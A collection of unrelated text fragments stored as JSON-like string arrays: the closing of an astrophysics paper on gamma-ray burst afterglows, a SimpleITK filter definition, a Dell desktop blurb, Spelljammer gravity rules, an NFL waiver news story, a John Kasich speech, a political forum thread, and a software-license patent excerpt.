"Thus, the observed afterglows from an observer with a light of sight out of the $\\theta_c$ may be dim and onset later (e.g., [@2008MNRAS.387..497P]; ; [@2010MNRAS.402...46M]). ",
"This should also make a bias for measurement of their redshifts.",
"\n\nWe acknowledge the use of the public data from the [*Swift*]{} data archive and the UK [*Swift*]{} Science Data Center. ",
"This work is supported by the National Natural Science Foundation of China (Grant No.11533003, 11851304, 11603006, and U1731239), Guangxi Science Foundation (grant No. ",
"2017GXNSFFA198008, 2016GXNSFCB380005 and AD17129006), the One-Hundred-Talents Program of Guangxi colleges, the high level innovation team and outstanding scholar program in Guangxi colleges, Scientific Research Foundation of Guangxi University (grant No. ",
"XGZ150299), and special funding for Guangxi distinguished professors (2017AD22006).",
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" 2004, , 601, L119 Zhang, B., & M[é]{}sz[á]{}ros, P. 2004, International Journal of Modern Physics A, 19, 2385\n\nZhang, B. 2006, , 444, 1010\n\nZhang, B., & M[é]{}sz[á]{}ros, P. 2001, , 552, L35\n\nZhang, B., Zhang, B.-B., Liang, E.-W., et al.",
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" 2019, , 877, 153\n\n[lcccll]{} 050315 & 1.949 & 2.16 & 1.93 & 47.06 & 51.79\\\n050319 & 3.24 & 2.11 & 1.52 & 47.64 & 52.22\\\n050802 & 1.71 & 1.30 & 2.62 & 47.78 & 52.40\\\n050814 & 5.3 & 1.21 & 0.71 & 47.45 & 53.03\\\n050822 & 1.434 & 2.11 & 2.43 & 46.87 & 51.58\\\n050826 & 0.297 & 1.24 & 0.39 & 44.45 & 49.84\\\n051016B & 0.9364 & 1.94 & 1.30 & 45.99 & 50.91\\\n060202 & 0.785 & 1.59 & 0.51 & 48.77 & 50.57\\\n060204B & 2.3393 & 1.43 & 1.35 & 47.63 & 52.29\\\n060502A & 1.51 & 0.97 & 1.69 & 46.86 & 52.45\\\n060604 & 2.68 & 1.75 & 0.34 & 47.13 & 51.54\\\n060605 & 3.8 & 0.90 & 0.47 & 48.12 & 52.85\\\n060607A & 3.082 & 1.13 & 1.40 & 48.77 & 52.90\\\n060614 & 0.125 & 1.62 & 11.51 & 44.39 & 50.06\\\n060714 & 2.71 & 1.61 & 1.41 & 48.22 & 52.28\\\n060729 & 0.54 & 2.10 & 1.41 & 46.20 & 50.31\\\n060814 & 1.9229 & 1.31 & 7.27 & 47.67 & 52.95\\\n061121 & 1.314 & 1.03 & 21.08 & 47.85 & 53.35\\\n061202 & 2.253 & 1.40 & 2.55 & 48.07 & 52.56\\\n070110 & 2.352 & 1.68 & 0.60 & 47.77 & 51.70\\\n070129 & 2.3384 & 1.97 & 0.59 & 47.21 & 51.52\\\n070306 & 1.496 & 1.65 & 4.25 & 47.43 & 52.11\\\n070328 & 2.0627 & 1.10 & 4.22 & 49.48 & 53.02\\\n070508 & 0.82 & 1.09 & 24.68 & 48.41 & 52.86\\\n070521 & 2.0865 & 1.09 & 6.71 & 48.83 & 53.24\\\n080310 & 2.43 & 1.97 & 1.30 & 47.63 & 51.90\\\n080430 & 0.767 & 1.80 & 2.65 & 46.06 & 51.08\\\n080905B & 2.374 & 1.48 & 1.66 & 48.57 & 52.34\\\n081029 & 3.847 & 1.66 & 0.46 & 47.88 & 52.10\\\n090404 & 3.0 & 1.85 & 1.94 & 47.94 & 52.34\\\n090407 & 1.4485 & 0.96 & 0.64 & 46.46 & 52.01\\\n090529 & 2.625 & 1.70 & 0.65 & 46.61 & 51.84\\\n090618 & 0.54 & 1.15 & 38.04 & 47.28 & 52.54\\\n091018 & 0.971 & 2.19 & 10.28 & 48.15 & 51.78\\\n091029 & 2.752 & 1.80 & 1.78 & 47.66 & 52.25\\\n100302A & 4.813 & 1.47 & 0.48 & 47.12 & 52.50\\\n100418A & 0.6235 & 2.63 & 1.04 & 45.31 & 50.46\\\n100425A & 1.755 & 2.32 & 1.36 & 46.18 & 51.55\\\n100615A & 1.398 & 1.56 & 5.43 & 47.64 & 52.23\\\n100704A & 3.6 & 0.99 & 4.30 & 47.97 & 53.68\\\n100901A & 1.408 & 1.84 & 0.79 & 47.11 & 51.17\\\n100906A & 1.727 & 1.50 & 10.14 & 47.60 & 52.79\\\n110213A & 1.46 & 2.63 & 1.56 & 48.70 & 51.55\\\n110808A & 1.348 & 1.61 & 0.38 & 45.68 & 50.99\\\n111008A & 4.9898 & 1.26 & 6.42 & 49.18 & 53.88\\\n111228A & 0.714 & 1.85 & 12.43 & 46.69 & 51.65\\\n120118B & 2.943 & 1.90 & 2.16 & 47.91 & 52.35\\\n120422A & 0.283 & 0.94 & 0.55 & 43.53 & 50.31\\\n120521C & 6.0 & 1.27 & 1.90 & 47.70 & 53.51\\\n120811C & 2.671 & 1.85 & 4.08 & 48.56 & 52.55\\\n121027A & 1.773 & 1.67 & 1.29 & 46.65 & 51.76\\\n140512A & 0.725 & 1.39 & 6.80 & 47.14 & 51.82\\\n140518A & 4.707 & 1.74 & 1.01 & 48.57 & 52.58\\\n140703A & 3.14 & 1.29 & 2.85 & 48.35 & 53.06\\\n141121A & 1.47 & 1.93 & 0.89 & 45.93 & 51.22\\\n150910A & 1.359 & 1.45 & 1.06 & 48.36 & 51.60\\\n151027A & 0.81 & 1.24 & 6.86 & 48.10 & 52.11\\\n161117A & 1.549 & 1.72 & 6.83 & 47.59 & 52.30\\\n170113A & 1.968 & 1.28 & 1.08 & 48.18 & 52.18\\\n170202A & 3.645 & 1.21 & 4.74 & 48.85 & 53.50\\\n170714A & 0.793 & 1.49 & 0.40 & 48.41 & 50.57\\\n171205A & 0.0368 & 1.98 & 0.95 & 42.54 & 47.61\\\n171222A & 2.409 & 2.13 & 0.67 & 46.69 & 51.56\\\n180115A & 2.487 & 1.45 & 0.58 & 47.49 & 51.96\\\n\n![",
"Comparison between the observed sample (solid dots) and the probability distribution contours derived from our simulations based on the best parameter set $\\{\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}=48.38, \\theta_{\\rm c,w}=2.65^{o}, k_{\\rm w}=4.57\\}$. The solid red line stands for the sensitivity of $Swift$ XRT ($F_{\\rm th}=1\\times10^{-13}$ erg cm$^{-2}$ s$^{-1}$).[]{data-label=\"fig:wind-1D-2D\"}](fig7.eps){width=\"100.00000%\"}\n\n![",
"Comparison between the observed sample (solid dots) and the simulations sample of $Swift$ based on the best parameter set of jet $\\{\\log L_{\\rm c,j}/{\\rm erg\\ s^{-1}}=52.68\\pm 0.05, \\theta_{\\rm c, j}=2.10^\\circ, k_{\\rm j}=4.00\\}$ and wind $\\{\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}=48.38, \\theta_{\\rm c,w}=2.65^{o}, k_{\\rm w}=4.57\\}$. []{data-label=\"fig:Swift-Lw-Lj\"}](fig8.eps){width=\"100.00000%\"}\n\n![",
"Simulated $L_{\\rm j}-L_{\\rm w}$ correlation for the GRBs detected with the [*EP*]{} mission (open circles) in one operation year in comparison with the current sample observed with the [*Swift*]{} mission (red dots). ",
"Our simulations are based on the best structure parameters of the jet and wind and the local GRB rate derived in this analysis. ",
"The X-ray emission in the [*EP*]{}/WXT band from the jet and wind components are taken into account in evaluation of the WXT trigger. ",
"Redshift measurement and the effects of the wind covering by jet afterglows as well as other observation al biases are not considered. ",
"\\[fig:EP-Lw-Lj\\]](fig9.eps){width=\"100.00000%\"}\n\n![",
"Simulations of GRBs triggered by [*EP*]{}/FXT in one operation year in the $\\log (1+z)-\\log L_{\\rm w}$ plane based on the best structure parameters of the jet and wind and the local GRB rate derived in this analysis. ",
"Thresholds of different instruments are also marked for examining the detection probability of their wind emission with these instruments. ",
"\\[fig:EP-Lw-z\\]](fig10.eps){width=\"100.00000%\"}\n\n[^1]: The decay index of emission from forward shocks should be steeper that 0.75 in the framework of the standard external shock model without considering late energy injection (e.g., [@2007ApJ...670..565L]; [@2008ApJ...675..528L]).",
"\n\n[^2]: $http://www.swift.ac.uk/burst$ $analyser/$\n"
] | {
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"{\n \"name\" : \"ObjectnessMeasureImageFilter\",\n \"template_code_filename\" : \"ImageFilter\",\n \"template_test_filename\" : \"ImageFilter\",\n \"number_of_inputs\" : 1,\n \"doc\" : \"Some global documentation\",\n \"pixel_types\" : \"RealPixelIDTypeList\",\n \"members\" : [\n {\n \"name\" : \"Alpha\",\n \"type\" : \"double\",\n \"default\" : 0.5,\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Set/Get Alpha, the weight corresponding to R_A (the ratio of the smallest eigenvalue that has to be large to the larger ones). ",
"Smaller values lead to increased sensitivity to the object dimensionality.\",",
"\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Set/Get Alpha, the weight corresponding to R_A (the ratio of the smallest eigenvalue that has to be large to the larger ones). ",
"Smaller values lead to increased sensitivity to the object dimensionality.\"",
"\n },\n {\n \"name\" : \"Beta\",\n \"type\" : \"double\",\n \"default\" : 0.5,\n \"doc\" : \"Alpha\",\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Set/Get Beta, the weight corresponding to R_B (the ratio of the largest eigenvalue that has to be small to the larger ones). ",
"Smaller values lead to increased sensitivity to the object dimensionality.\",",
"\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Set/Get Beta, the weight corresponding to R_B (the ratio of the largest eigenvalue that has to be small to the larger ones). ",
"Smaller values lead to increased sensitivity to the object dimensionality.\"",
"\n },\n {\n \"name\" : \"Gamma\",\n \"type\" : \"double\",\n \"default\" : 5.0,\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Set/Get Gamma, the weight corresponding to S (the Frobenius norm of the Hessian matrix, or second-order structureness)\",\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Set/Get Gamma, the weight corresponding to S (the Frobenius norm of the Hessian matrix, or second-order structureness)\"\n },\n {\n \"name\" : \"ScaleObjectnessMeasure\",\n \"type\" : \"bool\",\n \"default\" : \"true\",\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Toggle scaling the objectness measure with the magnitude of the largest absolute eigenvalue\",\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Toggle scaling the objectness measure with the magnitude of the largest absolute eigenvalue\"\n },\n {\n \"name\" : \"ObjectDimension\",\n \"type\" : \"unsigned int\",\n \"default\" : \"1u\",\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Set/Get the dimensionality of the object (0: points (blobs), 1: lines (vessels), 2: planes (plate-like structures), 3: hyper-planes. ",
"ObjectDimension must be smaller than ImageDimension.\",",
"\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Set/Get the dimensionality of the object (0: points (blobs), 1: lines (vessels), 2: planes (plate-like structures), 3: hyper-planes. ",
"ObjectDimension must be smaller than ImageDimension.\"",
"\n },\n {\n \"name\" : \"BrightObject\",\n \"type\" : \"bool\",\n \"default\" : \"true\",\n \"briefdescriptionSet\" : \"\",\n \"detaileddescriptionSet\" : \"Enhance bright structures on a dark background if true, the opposite if false.\",",
"\n \"briefdescriptionGet\" : \"\",\n \"detaileddescriptionGet\" : \"Enhance bright structures on a dark background if true, the opposite if false.\"",
"\n }\n ],\n \"tests\" : [\n {\n \"tag\" : \"defaults\",\n \"description\" : \"Simply run with default settings\",\n \"settings\" : [],\n \"tolerance\" : 0.5,\n \"inputs\" : [\n \"Input/cthead1-Float.mha\"\n ]\n },\n {\n \"tag\" : \"dark_dots\",\n \"description\" : \"Simply run with default settings\",\n \"settings\" : [\n {\n \"parameter\" : \"ObjectDimension\",\n \"value\" : 0,\n \"cxx_value\" : \"0u\"\n },\n {\n \"parameter\" : \"BrightObject\",\n \"value\" : \"false\",\n \"python_value\" : \"False\",\n \"R_value\" : \"FALSE\"\n }\n ],\n \"tolerance\" : 0.01,\n \"inputs\" : [\n \"Input/cthead1-Float.mha\"\n ]\n }\n ],\n \"briefdescription\" : \"Enhance M-dimensional objects in N-dimensional images.\",",
"\n \"detaileddescription\" : \"This filter is a generalization of Frangi's vesselness measurement for detecting M-dimensional object in N-dimensional space. ",
"For example a vessel is a 1-D object in 3-D space. ",
"The filter can enhance blob-like structures (M=0), vessel-like structures (M=1), 2D plate-like structures (M=2), hyper-plate-like structures (M=3) in N-dimensional images, with M<N.\\n\\nThis filter takes a scalar image as input and produces a real valued image as output which contains the objectness measure at each pixel. ",
"Internally, it computes a Hessian via discrete central differences. ",
"Before applying this filter it is expected that a Gaussian smoothing filter at an appropriate scale (sigma) was applied to the input image.\\n\\nThe enhancement is based on the eigenvalues of the Hessian matrix. ",
"For the Frangi's vesselness case were M=1 and N=3 we have the 3 eigenvalues such that \\\\f$ | \\\\lambda_1 | < | \\\\lambda_2 | < |\\\\lambda_3 | \\\\f$ . ",
"The formula follows:\\n\\n \\\\f[ R_A = \\\\frac{|\\\\lambda_2|}{|\\\\lambda_3|}, \\\\; R_B = \\\\frac{|\\\\lambda_2|}{|\\\\lambda_2\\\\lambda_3|}, \\\\; S = \\\\sqrt{\\\\lambda_1^2+\\\\lambda_2^2+\\\\lambda_3^2} \\\\f] \\\\f[ V_{\\\\sigma}= \\\\begin{cases} (1-e^{-\\\\frac{R_A^2}{2\\\\alpha^2}}) \\\\cdot e^{\\\\frac{R_B^2}{2\\\\beta^2}} \\\\cdot (1-e^{-\\\\frac{S^2}{2\\\\gamma^2}}) & \\\\text{if } \\\\lambda_2<0 \\\\text{ and } \\\\lambda_3<0 \\\\text{,}\\\\\\\\ 0 & \\\\text{otherwise} \\\\end{cases} \\\\f] \\n\\n\\\\par References\\nAntiga, L. Generalizing vesselness with respect to dimensionality and shape. ",
"https://hdl.handle.net/1926/576 \\n\\n\\\\par \\nFrangi, AF, Niessen, WJ, Vincken, KL, & Viergever, MA (1998). ",
"Multiscale Vessel Enhancement Filtering. ",
"In Wells, WM, Colchester, A, & Delp, S, Editors, MICCAI '98 Medical Image Computing and Computer-Assisted Intervention, Lecture Notes in Computer Science, pages 130-137, Springer Verlag, 1998.\\n\\n\\\\see itk::HessianToObjectnessMeasureImageFilter\",\n \"itk_module\" : \"SimpleITKFilters\"\n}\n"
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"Compact design. ",
"Big display.",
"\n• Business productivity will flourish with the OptiPlex 24 7000 Series All-in-One (7440) Desktop. ",
"With a 23.8\" (60.5 cm) screen you can expect rich visuals. ",
"The clutter-free design will fit easily into any work environment, helping maximize workspace. ",
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[
"Gravity\n\nThe reason everything drags its own atmosphere around through space is gravity. ",
"This is also the reason why people can stand on a space sailing ship without falling off its deck and can stand on a spherical planet without falling off the bottom side. ",
"Every body in space has its own gravity. ",
"Gravity is an accommodating force in that its direction seems to be \"that which is most convenient.\" ",
"In an object the size of a planet, gravity is directed toward a point at the center of the sphere so that people can stand anywhere on the surface, and dropped objects fall perpendicular to the surface. ",
"In smaller objects, like spacecraft, gravity is not a central point but rather a plane which cuts horizontally through the object to the end of the air envelope. ",
"Gravity itself is conveniently an all-or-nothing proposition. ",
"Either it is there at full strength or it is not there at all (though there are exceptions to every rule, per DM discretion).",
"\n\nSignificantly, this gravity plane is two-directional; it attracts from both top and bottom. ",
"A sailor can actually stand on the bottom of the ship's hull and move around as easily as if she was walking on deck. ",
"In this case, what was \"down\" on the deck is actually \"up\", back toward the plane of gravity that cuts through the ship. ",
"One of the stranger side effects of all this is that an object falling off the side of a Spelljammer can oscillate back and forth across the plane of gravity, falling first in one direction until it crosses the plane, then reversing direction and falling back across the plane again, and so on until something causes it to stop. ",
"To a person standing on the deck, the object appears to fall down, then up, then down, then up, and so forth.",
"\n\nThis trick is commonly used to amuse passengers new to space travel. ",
"More than one groundling has gotten in trouble for standing at the ship's rail and tossing an endless stream of apples overboard just to watch them bob.",
"\n\nAlong the plane an object is weightless, but it is slowly pushed out toward the edge of the gravity field. ",
"Therefore, a creature that falls overboard that couldn't find a hold or isn't tied down, would eventually come to rest at the ship's plane of gravity, and would then begin drifting away from the ship along that plane toward the edge of the air envelope. ",
"On reaching the end of the gravity plane (at the very edge of the air envelope) she is pushed out and left behind as the ship moves away. ",
"This movement takes place at a rate of 5 feet per round. ",
"Aside from this slight push, there is no relative motion of a ship within its air envelope, aside from turning. ",
"A ships air envelop does not turn with the ship when it turns, but objects in the ships air envelope do not drift toward the rear of the ship simply because the ship is moving forward.",
"\n\nWhen gravity planes intersect (such as when two ships pass each other, or when a ship passes a planetoid), the gravities of both ships remain in effect, regardless of size, up to the point where they physically intersect. ",
"An object is under the influence of whichever gravity plane it is closest to. ",
"A character could leap between two passing ships, altering her down direction as she crosses the midpoint between the two.",
"\n\nWhen two ships come into direct contact, the gravity of the ship with the higher tonnage is dominant and becomes the gravity for both ships. ",
"A large mind flayer vessel could ram a smaller ship from directly above and spin the smaller ship's gravity plane by 90 degrees, causing everything on the rammed ship to tumble toward the large ship's plane of gravity, probably with disasterous results.",
"\n\nA weightless character who enters the air envelope of a larger body is immediately affected by the pull of gravity on that body. ",
"She effectively falls the distance from where she entered to the surface of the body or to the gravity plane, whichever is closer. ",
"Normal falling damage is applied, as well as massive damage rules. ",
"When the drop is more than one mile, there is also danger of the subject heating up and igniting from friction with the air. ",
"This happens after one mile of uncontorlled descent. ",
"The falling object catches fire and takes normal damage from fire as well as falling damage. ",
"Any sort of control over speed and descent (flight, levitation, feather fall, etc) negates this effect.",
"\n\nCharacters who are weightless can move under familiar laws of physics - For every action, there is an equal and opposite reaction. ",
"A drifting fighter may move by throwing her equpiment in the opposite direction. ",
"Max movement is half-speed when acting this way. ",
"Combat in a weightless environment is difficult and foreign to creatures used to fighting in normal environments, and any attack roll or saving throw using STR, DEX, or CON is made at disadvantage."
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"CINCINNATI -- One day after he was waived by the New Orleans Saints, linebacker Khairi Fortt was claimed off waivers by the Bengals on Tuesday, helping the team address a sudden need for help at the position, as well as on special teams.",
"\n\nFortt will take the roster spot that had been held by linebacker Sean Porter, who suffered a season-ending knee injury on the opening kickoff in Sunday night's 43-17 loss at New England. ",
"Porter had just returned from a hamstring injury that had him sidelined since the preseason. ",
"The Bengals placed Porter on their season-ending injured reserve Tuesday.",
"\n\nFortt comes to Cincinnati after the Saints inexplicably let go of him Monday. ",
"Previous to his release, the rookie seemed to be in the Saints' good graces. ",
"After all, they used a fourth-round pick on him during May's draft, and they tabbed him as their short-term IR player. ",
"Since teams are only allowed to have one player placed under the IR's to-return designation per season, it made little sense for New Orleans to let go of him. ",
"The Saints can no longer put a player on short-term IR.",
"\n\nFortt's release from the Saints was not related to any violation of league rules or legal issues, a league source told ESPN Saints reporter Mike Triplett.",
"\n\n\"There's a little uncertainty to where he is at just in regards to the amount of snaps he had or was limited to based on the injury,\" Saints coach Sean Payton said when the team put Fortt on the short-term IR in the preseason. \"",
"We think he has a chance to develop into a good young player and yet it is still kind of an incomplete, if you will, in regards to the evaluation. ",
"The [IR] rule varies. ",
"It is only our second year with it. ",
"How use it is one element you didn't have two years ago, three years ago.\"",
"\n\nA 6-foot-2, 240-pound player from Cal, Fortt appeared in the preseason, recording one tackle and one defended pass before suffering an unspecified leg injury in the second preseason game. ",
"He would have been eligible to practice for the Saints after their Week 6 game, and allowed to play after Week 8.",
"\n\nBengals officials are working under the presumption that since Fortt was released by the Saints that he cleared their physical and is healed enough to play. ",
"Once a player gets released, his previous injury-list designations end for that reason. ",
"He'll undergo a physical when he arrives in Cincinnati, but he should be cleared Wednesday when the Bengals resume practice ahead of their Week 6 game against the Panthers.",
"\n\nThe Bengals also have used their short-term IR designation. ",
"Tight end Tyler Eifert (dislocated elbow) is expected back Nov. 6 when the Bengals host Cleveland on a Thursday night. ",
"Along with Porter, the Bengals also have placed rookie offensive lineman Trey Hopkins (leg), tight end Alex Smith (biceps) and linebacker J.K. Schaffer (concussion) on their season-ending IR lists.",
"\n\nInjuries have derailed Porter's time with the Bengals. ",
"He missed all of last season because of them, and has struggled to get on the field this year because of them. ",
"The former fourth-round pick from Texas A&M said earlier this year that he had never missed time due to injury until his pro career started last spring.",
"\n\nESPN Saints reporter Mike Triplett contributed to this report."
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"This week President Donald Trump traveled through Europe, confronting and charming America's allies along the way. ",
"And Ohio Gov. John Kasich traveled to Washington to speak to the National Press Club, explaining why our old alliances with these democracies are precious. ",
"The following is an edited version of the speech the governor gave on Thursday.",
"\n\nAbout a week ago, I was talking to my uncle George. ",
"He is 92, still walks a couple of miles a day; he's a terrific guy. ",
"We started to talk about his experience in World War II. ",
"Uncle George was in the infantry. ",
"He survived by not having his unit placed on a boat that would ultimately sink on its way to the Battle of the Bulge. ",
"Because they were crowded on that ship, his unit took a ship the next day and landed in northern France.",
"\n\nMy father and my uncle Steve fought on Iwo Jima. ",
"That's my family heritage, and when we think about our heroes, our military heroes, I always like to think back to the contributions that were made by our men in World War II, and I think about how amazing it must have been to be on those barges on D-Day, knowing that as part of the first wave, I may not survive.",
"\n\nWhen I think about that, I think about how amazing America is, and how amazing our spirit is, and what is it all about. ",
"It's about preserving our values; it's about preserving the ability of every human being to be able to live to their God-given potential. ",
"It's about the ability of people to be free: freedom of speech, freedom to practice religion. ",
"It's about the highest sense of what it means to be a human being, and America encapsulates that.",
"\n\nNow, post-World War II, we helped rebuild the world. ",
"The Marshall Plan was incredible because not only did we rebuild parts of the nations who were our allies, but we also chose to help people who actually were our enemies. ",
"Whether it was the reconstruction of Germany, whether it was the resources that we put in to Japan, and as we look today, what was the payoff?",
"\n\nWell Japan is one of the strongest democracies in the world, and we all celebrated when it was completed in Germany in 1989, when the wall came down. ",
"Between 1946 and 1952 we invested $2.2 billion, or $18 billion in 21st century dollars, because we thought that it made sense for us and the world, for those that shared our values, because nobody functions very well alone.",
"\n\nWe do well when we work in teams. ",
"We do well when the strong support the weaker, when the weaker step up at times to give greater strength to those that are strong. ",
"And so we decided that it was important, post-World War II, to cement these alliances that we had with our friends and our enemies, who ultimately shared our great and strong values.",
"\n\nLet me tell you what I'm very concerned about. ",
"I think that we have been pursuing an America-alone policy, not America first. ",
"We have been bullying countries all over the world, and to me it never makes sense for America to adopt a wrecking-ball strategy. ",
"Take the wrecking ball, break things up, and at the end try to declare that we had some sort of a victory.",
"\n\nIn this April 3, 2018, file photo, Ohio Gov. John Kasich, a 2016 Republican presidential hopeful, smiles as he addresses a gathering during a visit to New England College in Henniker, N.H. (Charles Krupa / AP)\n\nI was in the Oval Office with Barack Obama talking about the Trans-Pacific Partnership. ",
"Now that is something that Republicans had as a fulcrum of their philosophy and conservatives had as a fulcrum of their philosophy. ",
"Free trade, open trade, which connects the world, which allows people in poverty to rise out of poverty, and our free trade programs have allowed more people to escape poverty than any other program we've ever put in place.",
"\n\nWe withdrew from the TPP. ",
"We created a vacuum in Asia, with a lot of small countries that kind of felt that they needed the strength of America to bolster them, because they fall in the shadow of China, which has a value system that is so completely different than ours.",
"\n\nThen we turned around and we withdrew from the Paris Accord, unilateral withdrawal from the Paris Accord. ",
"Now, this whole argument about science, well there's one thing that's pretty darn clear, that we are seeing significant environmental degradation. ",
"Just look at the Great Barrier Reef, some of which will never be restored to its beauty and its glory, created by the good Lord, that shows the beauty of nature and the glory of God. ",
"We withdrew from the Paris Accord; we created a problem.",
"\n\nThen we decided that after having made an agreement to stop the enrichment of uranium, that we would withdraw from the Iranian accord. ",
"Our allies visited with the president and argued that it didn't make much sense, that it was an agreement that was being adhered to, and that it made sense to stay in there to monitor. ",
"We decided we'd go our own way. ",
"America alone again.",
"\n\nThen I watched with trepidation, the G7 summit. ",
"I was shocked to see the kind of disruption that was occurring. ",
"Insults, unacceptable behavior in my opinion, and at the end, not even an agreement on a communiqué. ",
"Then I watched the imposition of tariffs on our friends, our allies in Europe, the Canadians, the Mexicans, under the guise of national security.",
"\n\nNow, a number of these countries that we have been picking on, we find their troops stationed with us in Afghanistan, contributions to the efforts in Iraq, and then under a national security guise we say: We're going to impose tariffs. ",
"This without any question has sent shock waves through the EU, NATO, the Western world.",
"\n\nSo I looked at all of this and I thought to myself, the alliance that has kept the peace for 70 years is being frayed. ",
"The fraying of relationships has consequences.",
"\n\nNow we all know, and I give the president credit for being willing to stand up to the Chinese who have violated our international property rules. ",
"Are tariffs the right way to go? ",
"Probably not. ",
"There are probably other approaches that can be taken that can bring a clear message to the Chinese about the fact that they need to stop doing this, but we need our allies to be willing to stand up with us to hold the Chinese accountable.",
"\n\nNow when you spend your time running around and getting into these disagreements in a disagreeable way, it's pretty hard to come back and ask your allies to support you when the going gets tough.",
"\n\nWhat I worry about is not some of the aims or the goals of the president, every president has decided and made the case as I sat in the Congress, that NATO needs to do more to support themselves. ",
"What was achieved at this summit from what I can tell is that they agreed to what they had agreed to before. ",
"Now maybe it's been accelerated, I'm all for that, and there's everything right with some straight talk, but it has to be done in my opinion in an appropriate way. ",
"Wrecking ball strategies rarely end up being successful over the long term.",
"\n\nI commend the president for his efforts to try to step up and do something about the IP robbery that China commits on a regular basis, and I support that, but I think there are better ways to accomplish our goals.",
"\n\nI am increasingly concerned that with the fraying of the relationship with our friends, with people who support our values, who love freedom, who are willing to invest human lives on the battlefield to preserve this, that as this alliance can potentially wither, what takes its place? ",
"What keeps the peace?",
"\n\nIs it important that we have discussions with Russia? ",
"Of course, because we have mutual interests all over the world, in the Middle East, particularly with Syria. ",
"We have concerns about cybersecurity, election interference, all these things matter, but most important, the issue of arms control. ",
"We need to get back to the table to deal with the problem of arms control, so that the world can be made safer. ",
"So I hope that this summit will be successful, but that the president will realize, and I'm sure he does, the significant difference between their approach to the world, our approach to the world and that of our allies.",
"\n\nFinally, all is not lost yet. ",
"When your clothes fray, you can repair them. ",
"We just don't want to get to the point where we do damage to the relationships that we have, that have served us very well.",
"\n\nJohn Kasich is governor of Ohio. ",
"He gave this speech at the National Press Club in Washington.",
"\n\nWhat's your view?",
"\n\nGot an opinion about this issue? ",
"Send a letter to the editor, and you just might get published."
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"Please share with me what you are doing to support our troops\n\nYou all dismissed my support of our troops, so please share with me what you are doing. ",
"I would like to know if you do more than just support the war and have a sticker on your car that says \"Support our Troops.\" ",
"What else are you doing for them to let them know you support them?",
"\n\nYou all dismissed my support of our troops, so please share with me what you are doing. ",
"I would like to know if you do more than just support the war and have a sticker on your car that says \"Support our Troops.\" ",
"What else are you doing for them to let them know you support them?",
"\n\nClick to expand...\n\nI went to the rally in Crawford and spoke to them on the phone---a tape of the entire rally was sent for them all to see that we have not forgot them and support WHAT THEY ARE DOING. ",
"I've gone to homecomings and told them how much I appreciated what they have done.------and you?",
"\n\nI am part of a group that sends care packages to the troops. ",
"I have donated phone cards for them to use. ",
"I have sent them Valentines telling them I support them. ",
"I have gone to Walter Reed because I chose to go and see the injured soldiers and I cried with some of them.",
"\n\nI am part of a group that sends care packages to the troops. ",
"I have donated phone cards for them to use. ",
"I have sent them Valentines telling them I support them. ",
"I have gone to Walter Reed because I chose to go and see the injured soldiers and I cried with some of them.",
"\n\nClick to expand...\n\nThanks---just don't tell em that you think what they are doing is stupid--keep that lie to yourself.",
"\n\nI am part of a group that sends care packages to the troops. ",
"I have donated phone cards for them to use. ",
"I have sent them Valentines telling them I support them. ",
"I have gone to Walter Reed because I chose to go and see the injured soldiers and I cried with some of them.",
"\n\nAlso that is the first time I mentioned that on this board, know why? ",
"Because if you have support for the troops you don't need to say a friggin word to anybody. ",
"You say I do this and I do that because inside you are gulty and know you do much more damage in your aiding and abetting of the enemy.",
"\n\nAlso that is the first time I mentioned that on this board, know why? ",
"Because if you have support for the troops you don't need to say a friggin word to anybody. ",
"You say I do this and I do that because inside you are gulty and know you do much more damage in your aiding and abetting of the enemy.",
"\n\nClick to expand...\n\nHow old are you? ",
"What I define as supporting the troops may be different than what you define it as. ",
"No big deal. ",
"It doesn't mean that yours is better than mine (but I am sure you think it does).",
"\n\nI am also helping grant compensation benefits to those who are discharged from service due to the inability to serve their country anymore.",
"\n\nUseful Searches\n\nAbout USMessageBoard.com\n\nUSMessageBoard.com was founded in 2003 with the intent of allowing all voices to be heard. ",
"With a wildly diverse community from all sides of the political spectrum, USMessageBoard.com continues to build on that tradition. ",
"We welcome everyone despite political and/or religious beliefs, and we continue to encourage the right to free speech.",
"\n\nCome on in and join the discussion. ",
"Thank you for stopping by USMessageBoard.com!"
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"The present invention relates generally to computer systems, and more specifically to a program tool to identify unutilized or under utilized software licenses.",
"\nTypically, software is licensed, not sold. ",
"The license includes conditions and restrictions such as a geographic location where the software can be installed, a specific computer CPU serial number in which the software can be installed, a total number of copies which the licensee can install in one or more computers, a type of computer (such as production, development, etc.) ",
"on which the software can be used, and the maximum size computer which can execute the software. ",
"Often times, a license is not fully utilized. ",
"For example, a single license may authorize installation of ten copies of the software program, but the licensee only installs eight copies. ",
"Sometimes, there may be two or more licenses that authorize use of the same type of software, and only one such license is needed or the scope of one of the license can be reduced. ",
"For example, there may be two licenses for the same type of software, each authorizing installation of five copies, but the licensee only installs a total of eight copies. ",
"It has proven difficult for many licensees to effectively manage their licenses when the licensee is a large company with many separate licenses. ",
"Often times, the result is that the licensee is paying for more licenses or license scope than actually needed.",
"\nAn IBM Tivoli License Manager program is a known software license management program. ",
"Using this program, when a license is associated with specific installed software, an operator enters into a database information about a license. ",
"This information includes maximum size of the computer in which the program can be installed, maximum number of copies of the program that can be installed, expiration date, specific CPU serial number on which to execute the program, and target geographic location for (an unlimited number of copies of) the program. ",
"The Tivoli License Manager program checks whether each installed software program complies with an existing license by applying the licenses to the installations based on a predetermined and set order of conditions. ",
"For example, the Tivoli License Manager may be preprogrammed to apply all licenses having one type of condition to the installations, and then determine which installations are not covered by this type of license. ",
"Then, the Tivoli License Manager may be preprogrammed to apply all licenses having another type of condition, to the remaining installations, and then determine which installations are not covered by either type of license. ",
"Then, the Tivoli License Manager may be preprogrammed to apply all licenses having still another type of condition, to the still remaining installations, and then determine which installations are not covered by any of the three license. ",
